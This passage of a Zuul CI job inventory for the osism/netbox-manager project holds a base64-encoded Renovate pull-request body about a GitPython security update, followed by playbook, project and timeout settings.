RpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9zZWN1cml0eS9hZHZpc29yaWVzL0dIU0EtOTRwNC00Y3E4LTlnNjcpCi0gW2h0dHBzOi8vZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vY29tbWl0Lzg2MzQxNzQ1N2EwNjMzZGI3ZWE1YWVkNGZkMDFlMGIyOTFhNDExNjJdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vY29tbWl0Lzg2MzQxNzQ1N2EwNjMzZGI3ZWE1YWVkNGZkMDFlMGIyOTFhNDExNjIpCi0gW2h0dHBzOi8vZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob25dKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24pCi0gW2h0dHBzOi8vZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcmVsZWFzZXMvdGFnLzMuMS41NV0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9yZWxlYXNlcy90YWcvMy4xLjU1KQoKVGhpcyBkYXRhIGlzIHByb3ZpZGVkIGJ5IFtPU1ZdKGh0dHBzOi8vb3N2LmRldi92dWxuZXJhYmlsaXR5L0dIU0EtOTRwNC00Y3E4LTlnNjcpIGFuZCB0aGUgW0dpdEh1YiBBZHZpc29yeSBEYXRhYmFzZV0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdGh1Yi9hZHZpc29yeS1kYXRhYmFzZSkgKFtDQy1CWSA0LjBdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRodWIvYWR2aXNvcnktZGF0YWJhc2UvYmxvYi9tYWluL0xJQ0VOU0UubWQpKS4KPC9kZXRhaWxzPgoKLS0tCgojIyMgUmVsZWFzZSBOb3RlcwoKPGRldGFpbHM+CjxzdW1tYXJ5PmdpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbiAoR2l0UHl0aG9uKTwvc3VtbWFyeT4KCiMjIyBbYHYzLjEuNTVgXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL3JlbGVhc2VzL3RhZy8zLjEuNTUpOiAtIFNFQ1VSSVRZCgpbQ29tcGFyZSBTb3VyY2VdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vY29tcGFyZS8zLjEuNTQuLi4zLjEuNTUpCgojIyMjIFdoYXQncyBDaGFuZ2VkCgotIGZpeDogcHJldmVudCBlbnZpcm9ubWVudCBleHBhbnNpb24gaW4gcmVtb3RlIFVSTHMgYnkgW0AmIzgyMDM7Qnlyb25dKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9CeXJvbikgaW4gWyMmIzgyMDM7MjE4MV0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9wdWxsLzIxODEpCgoqKkZ1bGwgQ2hhbmdlbG9nKio6IDxodHRwczovL2dpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL2NvbXBhcmUvMy4xLjU0Li4uMy4xLjU1PgoKIyMjIFtgdjMuMS41NGBdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcmVsZWFzZXMvdGFnLzMuMS41NCk6IC0gU0VDVVJJVFkKCltDb21wYXJlIFNvdXJjZV0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9jb21wYXJlLzMuMS41My4uLjMuMS41NCkKCiMjIyMgV2hhdCdzIENoYW5nZWQKCi0gSGFyZGVuIHVuc2FmZSBHaXQgb3B0aW9uIHZhbGlkYXRpb24gYnkgW0AmIzgyMDM7Qnlyb25dKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9CeXJvbikgaW4gWyMmIzgyMDM7MjE4MF0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9wdWxsLzIxODApCgoqKkZ1bGwgQ2hhbmdlbG9nKio6IDxodHRwczovL2dpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL2NvbXBhcmUvMy4xLjUzLi4uMy4xLjU0PgoKPC9kZXRhaWxzPgoKLS0tCgojIyMgQ29uZmlndXJhdGlvbgoK8J+ThSAqKlNjaGVkdWxlKio6IChVVEMpCgotIEJyYW5jaCBjcmVhdGlvbgogIC0gQXQgYW55IHRpbWUgKG5vIHNjaGVkdWxlIGRlZmluZWQpCi0gQXV0b21lcmdlCiAgLSBBdCBhbnkgdGltZSAobm8gc2NoZWR1bGUgZGVmaW5lZCkKCvCfmqYgKipBdXRvbWVyZ2UqKjogRGlzYWJsZWQgYnkgY29uZmlnLiBQbGVhc2UgbWVyZ2UgdGhpcyBtYW51YWxseSBvbmNlIHlvdSBhcmUgc2F0aXNmaWVkLgoK4pm7ICoqUmViYXNpbmcqKjogV2hlbmV2ZXIgUFIgYmVjb21lcyBjb25mbGljdGVkLCBvciB5b3UgdGljayB0aGUgcmViYXNlL3JldHJ5IGNoZWNrYm94LgoK8J+UlSAqKklnbm9yZSoqOiBDbG9zZSB0aGlzIFBSIGFuZCB5b3Ugd29uJ3QgYmUgcmVtaW5kZWQgYWJvdXQgdGhlc2UgdXBkYXRlcyBhZ2Fpbi4KCi0tLQoKIC0gWyBdIDwhLS0gcmViYXNlLWNoZWNrIC0tPklmIHlvdSB3YW50IHRvIHJlYmFzZS9yZXRyeSB0aGlzIFBSLCBjaGVjayB0aGlzIGJveAoKLS0tCgpUaGlzIFBSIHdhcyBnZW5lcmF0ZWQgYnkgW01lbmQgUmVub3ZhdGVdKGh0dHBzOi8vbWVuZC5pby9yZW5vdmF0ZS8pLiBWaWV3IHRoZSBbcmVwb3NpdG9yeSBqb2IgbG9nXShodHRwczovL2RldmVsb3Blci5tZW5kLmlvL2dpdGh1Yi9vc2lzbS9uZXRib3gtbWFuYWdlcikuCjwhLS1yZW5vdmF0ZS1kZWJ1ZzpleUpqY21WaGRHVmtTVzVXWlhJaU9pSTBNeTR5T0RBdU1DSXNJblZ3WkdGMFpXUkpibFpsY2lJNklqUXpMakk0TUM0d0lpd2lkR0Z5WjJWMFFuSmhibU5vSWpvaWJXRnBiaUlzSW14aFltVnNjeUk2V3lKeVpXNXZkbUYwWlNKZGZRPT0tLT4K
      patchset: 88dcc4c93b231dc61d86ee4e7646206b92a07022
      pipeline: check
      playbook_context:
        playbook_projects:
          trusted/project_0/github.com/osism/zuul-config:
            canonical_name: github.com/osism/zuul-config
            checkout: main
            commit: 71b711c422c10c242a8f785dc6d41ed9d12e9cd3
          trusted/project_1/github.com/osism/openinfra-zuul-jobs:
            canonical_name: github.com/osism/openinfra-zuul-jobs
            checkout: master
            commit: 242732586e2cba04d04867d3e302888c766bc231
          trusted/project_2/github.com/osism/zuul-jobs:
            canonical_name: github.com/osism/zuul-jobs
            checkout: main
            commit: dcb06ea8a3ad422cc9d98b376216617b2daa6a02
          untrusted/project_0/github.com/osism/netbox-manager:
            canonical_name: github.com/osism/netbox-manager
            checkout: main
            commit: 7e89f67af638b1884b224ba697399f8c39913274
          untrusted/project_1/github.com/osism/zuul-config:
            canonical_name: github.com/osism/zuul-config
            checkout: main
            commit: 71b711c422c10c242a8f785dc6d41ed9d12e9cd3
          untrusted/project_2/github.com/osism/openinfra-zuul-jobs:
            canonical_name: github.com/osism/openinfra-zuul-jobs
            checkout: master
            commit: 242732586e2cba04d04867d3e302888c766bc231
          untrusted/project_3/github.com/osism/zuul-jobs:
            canonical_name: github.com/osism/zuul-jobs
            checkout: main
            commit: dcb06ea8a3ad422cc9d98b376216617b2daa6a02
        playbooks:
        - path: untrusted/project_0/github.com/osism/netbox-manager/playbooks/test-e2e.yml
          roles:
          - checkout: main
            checkout_description: zuul branch
            link_name: ansible/playbook_0/role_1/zuul-config
            link_target: untrusted/project_1/github.com/osism/zuul-config
            role_path: ansible/playbook_0/role_1/zuul-config/roles
          - checkout: master
            checkout_description: project default branch
            link_name: ansible/playbook_0/role_2/openinfra-zuul-jobs
            link_target: untrusted/project_2/github.com/osism/openinfra-zuul-jobs
            role_path: ansible/playbook_0/role_2/openinfra-zuul-jobs/roles
          - checkout: main
            checkout_description: zuul branch
            link_name: ansible/playbook_0/role_3/zuul-jobs
            link_target: untrusted/project_3/github.com/osism/zuul-jobs
            role_path: ansible/playbook_0/role_3/zuul-jobs/roles
      post_review: false
      post_timeout: 1800
      pre_timeout: null
      project:
        canonical_hostname: github.com
        canonical_name: github.com/osism/netbox-manager
        name: osism/netbox-manager
        short_name: netbox-manager
        src_dir: src/github.com/osism/netbox-manager
      projects:
        github.com/osism/netbox-manager:
          canonical_hostname: github.com
          canonical_name: github.com/osism/netbox-manager
          checkout: main
          checkout_description: zuul branch
          commit: 7e89f67af638b1884b224ba697399f8c39913274
          name: osism/netbox-manager
          required: false
          short_name: netbox-manager
          src_dir: src/github.com/osism/netbox-manager
      ref: refs/pull/288/head
      resources: {}
      tenant: osism
      timeout: 2400
      topic: null
      voting: true
